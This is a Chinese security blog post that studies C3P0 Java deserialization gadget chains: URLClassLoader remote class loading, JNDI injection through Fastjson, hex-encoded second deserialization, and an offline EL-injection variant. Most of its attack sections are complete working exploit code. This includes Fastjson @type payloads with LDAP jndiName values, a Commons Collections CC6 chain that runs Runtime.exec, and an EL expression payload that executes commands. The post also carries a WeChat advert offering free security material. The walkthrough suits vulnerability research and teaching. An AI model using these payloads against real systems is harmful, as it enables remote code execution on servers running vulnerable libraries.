主頁 >  其他 > Java反序列化之C3P0鏈學習

Java反序列化之C3P0鏈學習

2022-10-12 07:34:56 其他

0x01 前言

 再多打一點基礎吧,后續打算先看一看 XStream,Weblogic,strusts2 這些個

0x02 C3P0 組件介紹

C3P0 是一個開源的 JDBC 連接池,它實作了資料源和 JNDI 系結,支持 JDBC3 規范和 JDBC2 的標準擴展,目前使用它的開源專案有 HibernateSpring 等,

JDBC 是 Java DataBase Connectivity 的縮寫,它是 Java 程式訪問資料庫的標準介面,

使用Java程式訪問資料庫時,Java 代碼并不是直接通過 TCP 連接去訪問資料庫,而是通過 JDBC 介面來訪問,而 JDBC 介面則通過 JDBC 驅動來實作真正對資料庫的訪問,

連接池類似于執行緒池,在一些情況下我們會頻繁地操作資料庫,此時Java在連接資料庫時會頻繁地創建或銷毀句柄,增大資源的消耗,為了避免這樣一種情況,我們可以提前創建好一些連接句柄,需要使用時直接使用句柄,不需要時可將其放回連接池中,準備下一次的使用,類似這樣一種能夠復用句柄的技術就是池技術,

簡單來說,C3P0 屬于 jdbc 的一部分,和 Druid 差不多

0x03 C3P0 反序列化漏洞

環境

jdk8u65

pom.xml 如下

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

C3P0 反序列化三條 Gadgets

在去復現鏈子之前,既然這是一個資料源的組件,那么大概率會存在的漏洞是 URLClassLoader 的類的動態加載,還有 Jndi 注入,

好叭看了其他師傅的文章才知道,C3P0 常見的利用方式有如下三種

? URLClassLoader 遠程類加載

? JNDI 注入

利用 HEX 序列化位元組加載器進行反序列化攻擊(第一次見,應該是我少見多怪了

我們還是以漏洞發現者的角度來復現一遍,嘗試著能否少看一些其他師傅的文章,較為獨立的找到鏈子,

C3P0 之 URLClassLoader 的鏈子

C3P0 之 URLClassLoader 流程分析

我們先想一想,既然是 URLClassLoader 的鏈子,什么場景下會用到 URLClassLoader 的鏈子呢?

我的第一想法是,獲取資料源很可能是通過 URLClassLoader 的,事實證明我的這種想法非常愚蠢,因為獲取資料源并不是獲取一個類,當然,最終也沒找到,不過也是有點識訓的,

后面又想到了,可能是 Ref 這種型別的類,于是我又回頭找了一下,但是因為 IDEA 未能搜索依賴庫內的內容,所以就寄了,直接看了其他師傅的文章,

找到的類是 ReferenceableUtils,當中的 referenceToObject() 方法呼叫了 URLClassLoader 加載類的方法

最后還有類的加載 ———— instance(),我們的鏈子尾部就找好了,

繼續往上找,應該是去找誰呼叫了 ReferenceableUtils.referenceToObject()

image.png 

 

ReferenceIndirector 類的 getObject() 方法呼叫了 ReferenceableUtils.referenceToObject(),繼續往上找

image.png 

 

PoolBackedDataSourceBase#readObject() 呼叫了 ReferenceIndirector#getObject(),同時這也正好是一個入口類,

總結鏈子流程圖如圖

image.png 

 

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

C3P0 之 URLClassLoader EXP 撰寫

手寫一遍 EXP 試試

先寫 ReferenceableUtils.referenceToObject()  URLClassLoader 的 EXP
EXP 如下

public class RefToURLClassLoader {  
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {  
        Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");  
        Reference reference = new Reference("Calc", "Calc","http://127.0.0.1:9999/");  
        Method method = clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);  
        method.setAccessible(true);  
        Object o = method.invoke(clazz, reference, nullnullnull);  
        Object object = method.invoke(o, nullnullnullnull);  
    }  
}

 

繼續往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法

這里的 readObject() 方法想要進到鏈子的下一步 getObject() 必須要滿足一個條件,也就是傳入的類必須要是 IndirectlySerialized 這個類,

在進行完這個判斷之后

this.connectionPoolDataSource = (ConnectionPoolDataSource) o;

執行 .getObject() 方法的類從原本的 PoolBackedDataSourceBase 變成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一個介面,并且沒有繼承 Serializable 介面,所以是無法直接用于代碼里面的,

image.png 

這個地方有點卡住了,我們不妨去看一下 PoolBackedDataSourceBase#writeObject() 的時候,也就是序列化的時候做了什么

如圖,直接包裝了一層 indirector.indirectForm()

image.png 

 

我們跟進 indirector.indirectForm() 看一看,當然這個地方的 indirector 實際上就是 com.mchange.v2.naming.ReferenceIndirector,所以陳述句也可以這么改寫

ReferenceIndirector.indirectForm()

經過 ReferenceIndirector.indirectForm()  淬煉,我們直接看回傳值是什么

image.png 

這里回傳的是 ReferenceSerialized 的一個建構式,ReferenceSerialized 實際上是一個內部類

image.png 

跟進一下繼承的介面

image.png 

發現它繼承了 Serializable 介面,至此,包裝的程序分析結束,現在我們拿到的 "ConnectionPoolDataSource" 外表上還是 "ConnectionPoolDataSource",但是實際上已經變成了 "ReferenceSerialized" 這個類;事后師傅們可以自行打斷點除錯,這樣體會的更深刻一些,

EXP 的撰寫也較為簡單,值得一提的是,這里面有一個 getReference() 方法可以直接 new 一個 Reference 物件,

通過反射修改 connectionPoolDataSource 屬性值為我們的惡意 ConnectionPoolDataSource 

image.png 

C3P0 之 JNDI 注入

誤打誤撞看到的一處偽 JNDI 注入,失敗告終

雖然是誤打誤撞看到的,也是失敗的,但是依然有價值,后面看了楓師傅的博客,發現這里居然還是可以利用的,簡直太強了,

其實是在尋找上一條 Gadget 的時候發現的

位置在這個地方 com.mchange.v2.naming.ReferenceIndirector

它的 getObject() 方法里面有 initialContext.lookup()

所以我嘗試了一下發現幾個問題,雖然是坑吧,但是這個坑我更愿意稱之為嘗試,

首先這里,我們如果要觸發 JNDI 注入,那么肯定需要控制 contextName 這個屬性值,結果好巧不巧,這個屬性值是一個類

image.png 

 image.png 

既然是一個類,就不能直接賦給字串物件,然后我嘗試了它介面的實作類,發現不行,只能是自己這個介面;這利用面感覺太小太小了,很難挖;所以我這里就放棄了,

也掛一手失敗的 EXP 

public class Test {  
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException, InstantiationException, InvocationTargetException, InvalidNameException {  
        Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");  
        Method method = clazz.getDeclaredMethod("getObject");  
        Field ContextField = clazz.getDeclaredField("contextName");  
        ContextField.setAccessible(true);  
        DnsName dnsName = new DnsName();  
        ContextField.set(dnsName,dnsName);  
        Object o = method.invoke(clazz);  
        method.invoke(o);  
    }  
}

挺有意思的一次嘗試,哈哈哈哈,

C3P0 之 JNDI 注入流程分析

這條鏈子是基于 Fastjson 鏈子的,也就是說,是 Fastjson 的某一條鏈

我們還是以漏洞發現者的思維去尋找,在庫中全域搜索 Jndi,看看是否有識訓

image.png 

點開第一個試一下,接著在這個類當中找 jndi 關鍵詞,看到了這個方法:dereference()

image.png 

 在第 112 行與第 114 行,有非常惹人注目的 ctx.lookup()

這里被 lookup() 的變數是 jndiName,跟進去看一下 jndiName 是什么

image.png 

jndiName 是由 this.getJndiName() 搞來的,跟進看一看 getJndiName() 方法

image.png 

這個方法做了一件什么事呢?它判斷了拿進來的 jndiName 是不是 Name 的型別,如果是就回傳 ((Name) jndiName).clone(),若不是就回傳 String;回想起我前文挖洞失敗的那個經歷,不就是因為傳參是一個物件所以無法利用嗎!

我這里的運氣非常好,第一次找就找到了這個漏洞類

回到前面,我們看一下 dereference() 方法,是否允許我們傳入一個 String 型別的引數

image.png 

至此,鏈子的尾部已經是沒問題的了,向上找可用的地方

image.png 

同一個類下的 inner() 方法呼叫了它,繼續往上找

image.png 

這里有非常多的 getter/setter 方法,已經是滿足作為 fastjson 呼叫鏈的條件了,但是對于選擇上來說,我們選最簡單的 setLoginTimeout() 方法,因為它的傳參只需要我們傳入一個整數即可,

我覺得這里已經可以寫 EXP 了,但是看到有其他師傅的文章分析的意思是:還要繼續向上找,可能是因為這個 JndiRefForwardingDataSource 類是 default 的類,覺得利用面還是不夠大吧,我個人覺得從攻擊的角度上來說是都可以的,后續在寫 EXP 的環節也會把這個寫進去,

如果要繼續網上找的話,還有一個是可以利用的類

image.png 

再向上找可能還是可以,還能利用,但已經完全沒必要了,因為黑命單加的都是大類,如果簡短的鏈子被 ban 了,再深的鏈子也是被 ban 的,

C3P0 之 JNDI EXP 構造

先匯入 fastjson 的包,就先導 1.2.24 的吧,因為 1.2.25 版本的 fastjson 當中就已經把 com.mchange 包加入了黑名單里面,

<dependency>  
    <groupId>com.alibaba</groupId>  
    <artifactId>fastjson</artifactId>  
    <version>1.2.24</version>  
</dependency>

JndiRefForwardingDataSource  EXP 如下

package JNDIVul;  
  
import com.alibaba.fastjson.JSON;  
  
// JndiRefForwardingDataSource 類的直接 EXP 呼叫  
public class JndiForwardingDataSourceEXP {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +  
                "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";  
        JSON.parse(payload);  
    }  
}

因為是 default 作用域的類,所以不可以直接 new,這里我們直接用 fastjson 的方式去調

image.png 

 

JndiRefConnectionPoolDataSource  EXP 也大同小異,因為這是個 public 為作用域的類,我們可以先通過這種方式測驗一下鏈子的可用性,

public class JndiRefConnectionPoolDataSourceTest {  
    public static void main(String[] args) throws PropertyVetoException, SQLException {  
        JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();  
        jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");  
        jndiRefConnectionPoolDataSource.setLoginTimeout(1);  
    }  
}

image.png 

  fastjson 打也比較簡單

public class JndiRefConnectionPoolDataSourceEXP {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +  
                "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";  
        JSON.parse(payload);  
    }  
}

成功

image.png 

 

C3P0 之 hexbase 攻擊利用

這個點因為之前從來沒有接觸到過,所以跟著其他師傅的文章學習一下,同時這一種利用方式也是二次反序列化的利用之一,

C3P0 之 hexbase 流程分析

這條鏈子能成立的根本原因是,有一個
WrapperConnectionPoolDataSource 類,它能夠反序列化一串十六進制字串

鏈子首部是在 WrapperConnectionPoolDataSource 類的建構式中,如圖

image.png 

在給 userOverrides 賦值的時候,用的是 C3P0ImplUtils.parseUserOverridesAsString() 這么一個操作,這個方法的作用就是反序列化 userOverride 把它這個 String 型別的東西轉為物件,跟進

image.png 

它這里把 hex 字串讀了進來,把轉碼后的結果保存到了 serBytes 這個位元組流的陣列中,這個位元組流是拿去進行 SerializableUtils.fromByteArray() 的操作,值得注意的是,在決議程序中呼叫了 substring() 方法將字串頭部的 HASM_HEADER 截去了,因此我們在構造時需要在十六進制字串頭部加上 HASM_HEADER,并且會截去字串最后一位,所以需要在結尾加上一個;

image.png 

SerializableUtils#fromByteArray() 呼叫了 SerializableUtils#deserializeFromByteArray,跟進,看到了反序列化的操作 ———— readObject()

image.png 

 

C3P0 之 hexbase EXP 撰寫

因為我們在鏈子的第一步的時候,看到傳入的引數是 this.getUserOverridesAsString(),所以用 Fastjson 的鏈子打會很簡單,

這里我們需要寫一個構造 hex 的 EXP,呼叫之前學 CC 鏈就可以

EXP 如下

package hexBase;  
  
import com.alibaba.fastjson.JSON;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.beans.PropertyVetoException;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.io.StringWriter;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
public class HexBaseFastjsonEXP {  
  
    //CC6的利用鏈  
 public static Map CC6() throws NoSuchFieldException, IllegalAccessException {  
        //使用InvokeTransformer包裝一下  
 Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{nullnull}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前彈計算器  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
        HashMap<Object, Object> expMap = new HashMap<>();  
        expMap.put(tiedMapEntry, "value");  
        lazyMap.remove("key");  
  
        // 在 put 之后通過反射修改值  
 Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazyMap, chainedTransformer);  
  
        return expMap;  
    }  
  
  
    static void addHexAscii(byte b, StringWriter sw)  
    {  
        int ub = b & 0xff;  
        int h1 = ub / 16;  
        int h2 = ub % 16;  
        sw.write(toHexDigit(h1));  
        sw.write(toHexDigit(h2));  
    }  
  
    private static char toHexDigit(int h)  
    {  
        char out;  
        if (h <= 9) out = (char) (h + 0x30);  
        else out = (char) (h + 0x37);  
        //System.err.println(h + ": " + out);  
 return out;  
    }  
  
    //將類序列化為位元組陣列  
 public static byte[] tobyteArray(Object o) throws IOException {  
        ByteArrayOutputStream bao = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(bao);  
        oos.writeObject(o);  
        return bao.toByteArray();  
    }  
  
    //位元組陣列轉十六進制  
 public static String toHexAscii(byte[] bytes)  
    {  
        int len = bytes.length;  
        StringWriter sw = new StringWriter(len * 2);  
        for (int i = 0; i < len; ++i)  
            addHexAscii(bytes[i], sw);  
        return sw.toString();  
    }  
  
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {  
        String hex = toHexAscii(tobyteArray(CC6()));  
        System.out.println(hex);  
  
        //Fastjson<1.2.47  
 String payload = "{" +  
                "\"1\":{" +  
                "\"@type\":\"java.lang.Class\"," +  
                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +  
                "}," +  
                "\"2\":{" +  
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +  
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +  
                "}" +  
                "}";  
        JSON.parse(payload);  
  
  
    }  
}

在低版本 Fastjson 的情況下,實際上也可以使用下面的 Payload

String payload = "{" +
        "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
        "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
        "}";

C3P0 之 hexbase 除錯分析

斷點位置如圖

image.png 

因為我們第一次 Fastjson 拿進去打的是空,是用來加載的,第二次的 payload 是執行,所以可以直接跳過第一次的加載,

image.png 

當第二次 Fastjson 進來的時候,就有了

image.png 

在過了 substring 這一步之后,我們看到前面的:HexAsciiSerializedMap: 都無了,現在加載進來的才是真正的 hex 內容

image.png 

接著,把 hex 的內容轉化為了 bytes 位元組碼

image.png 

下一步,進行反序列化

image.png 

跟進

image.png 

成功彈出計算器

C3P0 之 hexbase 另類 EXP 除錯分析

在上文 EXP 的撰寫中,我提到了 "在低版本 Fastjson 的情況下,實際上也可以使用下面的 Payload"

這到底是怎么一回事兒呢

實際上 Fastjson 初始化 WrapperConnectionPoolDataSource 類時,userOverridesAsString 屬性是空的,要想進行反序列化操作,必須先給其賦值,理論上來說,要想決議 userOverridesAsString 屬性,至少需要呼叫兩次建構式,

我們來除錯看一下

斷點依舊是同一個位置,開始除錯

image.png 

驚奇的發現,userOverrideAsString 一開始為 null,但是經過一輪之后,變成了 hex;這到底是為什么呢?我們可以去到 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 里面去看一看

image.png 

不妨在這個地方下個斷點,然后除錯一下,

師傅們除錯的時候會發現,這個

image.png 

setUserOverridesAsString() 的運行邏輯大致是這樣的,首先把之前為 null 的 userOverridesAsString 賦值給 oldVal,接著判斷這兩個是否相等,或者是否都為 null,如果不滿足這個條件,就把新的值賦給 userOverridesAsString,如圖

image.png 

后續的程序和前面一樣,就不再分析了,

0x04 C3P0 鏈子的不出網利用

這一種攻擊方式是向楓師傅學到的

不論是 URLClassLoader 加載遠程類,還是 JNDI 注入,都需要目標機器能夠出網,

而加載 Hex 字串的方式雖然不用出網,但卻有 Fastjson 等的相關依賴,那么如果目標機器不出網,又沒有 Fastjson 依賴的話,C3P0 鏈又該如何利用呢?

關于 Java 的鏈子,如何不出網利用一直是一個很有趣的話題,也是很有意思的攻擊面,

 Jndi 高版本利用中,我們可以加載本地的 Factory 類進行攻擊,而利用條件之一就是該工廠類至少存在一個 getObjectInstance() 方法,比如通過加載 Tomcat8 中的 org.apache.naming.factory.BeanFactory 進行 EL 運算式注入;關于 EL 運算式注入可以看這篇 Java 之 EL 運算式注入

先匯入依賴

<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>8.5.0</version>  
</dependency>  
<dependency>  
    <groupId>org.apache.tomcat.embed</groupId>  
    <artifactId>tomcat-embed-el</artifactId>  
    <version>8.5.15</version>  
</dependency>

C3P0 鏈子的不出網利用分析與 EXP

已經確定是想通過 EL 運算式注入的方式攻擊了,我們需要先選擇攻擊的鏈子,

Jndi 的鏈子比較難,限制非常多,而且是不出網的利用,所以 pass 了;

URLClassLoader 的鏈子是可行的,只需要我們把之前 URLClassLoader 的 EXP 進行一些修改即可,

HexBase 的鏈子也是不可行的,因為它是基于 Fastjson 的一條鏈子,

EXP 如下

package NoNetUsing;  
  
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  
import org.apache.naming.ResourceRef;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.Referenceable;  
import javax.naming.StringRefAddr;  
import javax.sql.ConnectionPoolDataSource;  
import javax.sql.PooledConnection;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.sql.SQLException;  
import java.sql.SQLFeatureNotSupportedException;  
import java.util.logging.Logger;  
  
public class NoAccessEXP {  
  
    public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {  
  
        @Override  
 public Reference getReference() throws NamingException {  
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);  
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));  
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));  
            return resourceRef;  
        }  
  
        @Override  
 public PooledConnection getPooledConnection() throws SQLException {  
            return null;  
        }  
  
        @Override  
 public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
            return null;  
        }  
  
        @Override  
 public PrintWriter getLogWriter() throws SQLException {  
            return null;  
        }  
  
        @Override  
 public void setLogWriter(PrintWriter out) throws SQLException {  
  
        }  
  
        @Override  
 public void setLoginTimeout(int seconds) throws SQLException {  
  
        }  
  
        @Override  
 public int getLoginTimeout() throws SQLException {  
            return 0;  
        }  
  
        @Override  
 public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
            return null;  
        }  
    }  
  
    //序列化  
 public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {  
        //反射修改connectionPoolDataSource屬性值  
 PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
        Class cls = poolBackedDataSourceBase.getClass();  
        Field field = cls.getDeclaredField("connectionPoolDataSource");  
        field.setAccessible(true);  
        field.set(poolBackedDataSourceBase,c);  
  
        //序列化流寫入檔案  
 FileOutputStream fos = new FileOutputStream(new File("ser.bin"));  
        ObjectOutputStream oos = new ObjectOutputStream(fos);  
        oos.writeObject(poolBackedDataSourceBase);  
  
    }  
  
    //反序列化  
 public static void unserialize() throws IOException, ClassNotFoundException {  
        FileInputStream fis = new FileInputStream(new File("ser.bin"));  
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
        objectInputStream.readObject();  
    }  
  
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        Loader_Ref loader_ref = new Loader_Ref();  
        serialize(loader_ref);  
        unserialize();  
    }  
}

把原來 URLClassLoader 的地方修改成 EL 運算式的命令執行即可,

C3P0 鏈子的不出網利用除錯

簡單除錯理解一下,

先把斷點下在 BeanFactory  getObjectInstance() 方法下,因為這里是一定被呼叫到的,

image.png 

此處,我們可以看到之前的呼叫鏈,如圖

image.png 

我們去到 readObject() 方法的地方加一個斷點,再重新跑一遍,簡單除錯一下,我們就可以看到這是一個 URLClassLoader 的鏈子,

image.png 

 此處進行了命令執行的操作

image.png 

0x05 小結

C3P0 這條鏈子分析起來還是不難,建議師傅們可以動手去嘗試一個個類看一下,看哪里可能會存在有漏洞,

同時 C3P0 鏈的價值也是非常高的,C3P0 的包在實戰環境中除CommonsCollectionsCommonsBeanutiles 以外遇到最多的 JAR 包,其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依賴進來的,

關于前文提到的 "誤打誤撞看到的一處偽 JNDI 注入,失敗告終",后續文章會仔細講這一片段,

 更多靶場實驗練習、網安學習資料,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/513669.html

標籤:其他

上一篇:Asp.net核心未系結來自Jquery帖子的值

下一篇:2022美團CTF個人決賽WP

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

